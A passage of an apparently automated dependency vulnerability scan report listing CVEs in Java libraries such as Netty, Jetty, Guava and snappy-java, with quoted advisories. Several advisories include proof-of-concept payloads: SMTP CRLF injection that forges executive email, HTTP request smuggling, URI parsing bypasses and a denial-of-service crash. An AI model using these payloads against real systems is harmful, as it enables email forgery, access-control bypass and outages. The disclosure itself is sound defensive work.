TLSA records might allow attackers to intercept TLS traffic. +- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications. + +### Mitigations + +At this point, the following mitigations are recommended: + +- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...). +- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`. +- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.airlift/aircompressor 0.25 (maven) + +pkg:maven/io.airlift/aircompressor@0.25
+high 8.6: CVE--2024--36114 Out-of-bounds Read + + + + + + + + +
Affected range<0.27
Fixed version0.27
CVSS Score8.6
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
EPSS Score0.120%
EPSS Percentile32nd percentile
+ +
Description +
+ +### Summary +All decompressor implementations of Aircompressor (LZ4, LZO, Snappy, Zstandard) can crash the JVM for certain input, and in some cases also leak the content of other memory of the Java process (which could contain sensitive information). + +### Details +When decompressing certain data, the decompressors try to access memory outside the bounds of the given byte arrays or byte buffers. Because Aircompressor uses the JDK class `sun.misc.Unsafe` to speed up memory access, no additional bounds checks are performed and this has similar security consequences as out-of-bounds access in C or C++, namely it can lead to non-deterministic behavior or crash the JVM. + +Users should update to Aircompressor 0.27 or newer where these issues have been fixed. + +### Impact +When decompressing data from untrusted users, this can be exploited for a denial-of-service attack by crashing the JVM, or to leak other sensitive information from the Java process. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 commons-beanutils/commons-beanutils 1.9.4 (maven) + +pkg:maven/commons-beanutils/commons-beanutils@1.9.4
+high 8.8: CVE--2025--48734 Improper Access Control + + + + + + + + +
Affected range>=1.0
<=1.10.1
Fixed version1.11.0
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.077%
EPSS Percentile23rd percentile
+ +
Description +
+ +Improper Access Control vulnerability in Apache Commons. + + + +A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. + + + + + +Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). +Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. + +This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils + + 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. + + +Users of the artifact org.apache.commons:commons-beanutils2 + + 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-smtp@4.1.96.Final
+high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') + + + + + + + + +
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score3.365%
EPSS Percentile87th percentile
+ +
Description +
+ +### Summary +An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. + +### Details +The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. + +The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. + +Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. + +### PoC +A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. + +**1. Malicious Payload** + +The core of the exploit is the payload, where new SMTP commands are injected into a parameter. + +```java +// The legitimate recipient is followed by an injected email sequence +String injected_recipient = "legit-recipient@example.com\r\n" + + "MAIL FROM:\r\n" + + "RCPT TO:\r\n" + + "DATA\r\n" + + "From: ceo@trusted-domain.com\r\n" + + "To: victim@anywhere.com\r\n" + + "Subject: Urgent: Phishing Email\r\n" + + "\r\n" + + "This is a forged email that will pass authentication checks.\r\n" + + ".\r\n" + + "QUIT\r\n"; +``` + +**2. Triggering the Vulnerability** + +The vulnerability is triggered when this payload is used to create an SMTP request. + +```java +// The Netty SMTP codec will fail to sanitize this input +SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); + +// When this request is sent to an SMTP server, the injected commands +// will be executed, sending a forged email. +channel.writeAndFlush(maliciousRequest); +``` + +**3. Full Reproduction Steps** + +A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server + +* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c + +To run the full PoC: + +1. **Set up a local SMTP server.** The easiest way is using MailHog: + * On macOS: `brew install mailhog && mailhog` + * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` +2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. +3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. + +### Impact +This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). + +The primary impacts are: +* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. +* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 org.xerial.snappy/snappy-java 1.1.10.3 (maven) + +pkg:maven/org.xerial.snappy/snappy-java@1.1.10.3
+high 7.5: CVE--2023--43642 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<=1.1.10.3
Fixed version1.1.10.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.190%
EPSS Percentile41st percentile
+ +
Description +
+ +### Summary + +snappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. + +### Scope + +All versions of snappy-java including the latest released version 1.1.10.3. A fix is applied in 1.1.10.4 + +### Details +While performing mitigation efforts related to [CVE-2023-34455](https://nvd.nist.gov/vuln/detail/CVE-2023-34455) in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in [this](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea) commit. The check on [line 421](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR421) only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually [attempting to allocate](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR429) the provided unverified number of bytes via the “chunkSize” variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs. + +### PoC +Compile and run the following code: +``` +package org.example; +import org.xerial.snappy.SnappyInputStream; + +import java.io.*; + +public class Main { + + public static void main(String[] args) throws IOException { + byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff}; + SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data)); + byte[] out = new byte[50]; + try { + in.read(out); + } + catch (Exception ignored) { + } + } +} +``` + +### Impact +Denial of Service of applications dependent on snappy-java especially if `ExitOnOutOfMemoryError` or `CrashOnOutOfMemoryError` is configured on the JVM. + +### Credits +Jan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent's Application Security team. + +We kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability. + +
+
+
+
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) + +pkg:maven/org.apache.commons/commons-compress@1.23.0
+medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
+ +
Description +
+ +Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. + +Users are recommended to upgrade to version 1.26, which fixes the issue. + +
+
+ +medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') + + + + + + + + +
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
+ +
Description +
+ +Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. + +Users are recommended to upgrade to version 1.26.0 which fixes the issue. + +
+
+ +medium 5.5: CVE--2023--42503 Improper Input Validation + + + + + + + + +
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
+ +
Description +
+ +Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. + +Users are recommended to upgrade to version 1.24.0, which fixes the issue. + +A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. + +In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. + +Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. + +[1]: https://issues.apache.org/jira/browse/COMPRESS-612 +[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 +[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html +[4]: https://bugs.openjdk.org/browse/JDK-6560193 +[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 + +Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 org.eclipse.jetty/jetty-webapp 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-webapp@9.4.51.v20230217
+medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+ +medium 4.3: CVE--2023--41900 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.4.21
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score4.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +If a Jetty `OpenIdAuthenticator` uses the optional nested `LoginService`, and that `LoginService` decides to revoke an already authenticated user, then the current request will still treat the user as authenticated. The authentication is then cleared from the session and subsequent requests will not be treated as authenticated. + +So a request on a previously authenticated session could be allowed to bypass authentication after it had been rejected by the `LoginService`. + +
+
+ +low 3.5: CVE--2023--36479 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score3.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
EPSS Score1.383%
EPSS Percentile80th percentile
+ +
Description +
+ +If a user sends a request to a `org.eclipse.jetty.servlets.CGI` Servlet for a binary with a space in its name, the servlet will escape the command by wrapping it in quotation marks. This wrapped command, plus an optional command prefix, will then be executed through a call to Runtime.exec. If the original binary name provided by the user contains a quotation mark followed by a space, the resulting command line will contain multiple tokens instead of one. For example, if a request references a binary called file” name “here, the escaping algorithm will generate the command line string “file” name “here”, which will invoke the binary named file, not the one that the user requested. + +```java +if (execCmd.length() > 0 && execCmd.charAt(0) != '"' && execCmd.contains(" ")) +execCmd = "\"" + execCmd + "\""; +``` + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 io.netty/netty-codec-http 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-http@4.1.96.Final
+medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') + + + + + + + + +
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.050%
EPSS Percentile16th percentile
+ +
Description +
+ +### Summary + +The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. + +### Details + +The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) + +The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. + +### PoC + +Simple reproducer: + +```java +public static void main(String[] args) { + + EmbeddedChannel client = new EmbeddedChannel(); + client.pipeline().addLast(new HttpClientCodec()); + + EmbeddedChannel server = new EmbeddedChannel(); + server.pipeline().addLast(new HttpServerCodec()); + server.pipeline().addLast(new ChannelInboundHandlerAdapter() { + @Override + public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { + System.out.println("Processing msg " + msg); + } + }); + + DefaultHttpRequest request = new DefaultHttpRequest( + HttpVersion.HTTP_1_1, + HttpMethod.GET, + "/s1 HTTP/1.1\r\n" + + "\r\n" + + "POST /s2 HTTP/1.1\r\n" + + "content-length: 11\r\n\r\n" + + "Hello World" + + "GET /s1" + ); + client.writeAndFlush(request); + ByteBuf tmp; + while ((tmp = client.readOutbound()) != null) { + server.writeInbound(tmp); + } +} +``` + +### Impact + +Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. + +
+
+ +medium 5.3: CVE--2024--29025 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<4.1.108.Final
Fixed version4.1.108.Final
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.261%
EPSS Percentile49th percentile
+ +
Description +
+ +### Summary +The `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors + +### Details +1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list. +2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits + +### PoC + +Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder + + +Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3 + +### Impact +Any Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form. + +
+
+ +low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +## Summary +A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. + +## Details +When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). + +This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): + +``` +POST /one HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 + +POST /two HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +0 + +``` + +The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). + +## Impact +This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. + +The impact is high, but it only affects setups that use a front-end which: +1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. +2. Forwards chunk extensions without normalization. + +## Disclosure + + - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html + +## Discussion +Discussion for this vulnerability can be found here: + - https://github.com/netty/netty/issues/15522 + - https://github.com/JLLeitschuh/unCVEed/issues/1 + +## Credit + + - Credit to @JeppW for uncovering this vulnerability. + - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) + +pkg:maven/org.apache.commons/commons-configuration2@2.8.0
+medium 6.9: CVE--2024--29133 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.680%
EPSS Percentile71st percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+ +medium 6.5: CVE--2024--29131 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.eclipse.jetty/jetty-http 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.51.v20230217
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+ +medium 5.3: CVE--2023--40167 Improper Handling of Length Parameter Inconsistency + + + + + + + + +
Affected range>=9.0.0
<=9.4.51
Fixed version9.4.52
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
